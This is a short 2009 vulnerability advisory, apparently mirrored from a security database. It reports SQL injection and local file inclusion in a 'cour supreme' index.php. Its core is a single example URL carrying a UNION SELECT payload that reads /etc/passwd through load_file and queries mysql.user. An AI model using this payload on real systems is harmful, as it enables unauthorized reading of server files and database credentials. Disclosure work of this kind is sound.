Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:22500
HistorySep 23, 2009 - 12:00 a.m.

cour supreme 'index.php' SQL Injection & Local File Include Vulnerability

2009-09-2300:00:00
vulners.com
30

=================================================

Discovered By: CrAzY CrAcKeR

Email: CrAzY_CrAcKeR(at)hotmail(dot)com

================================================

example:-

http://www.example.in/index.php?p=affichedecision&id=-669 union select
1,2,3,4,5,6,load_file('/etc/passwd'),8+from+mysql.user

================================================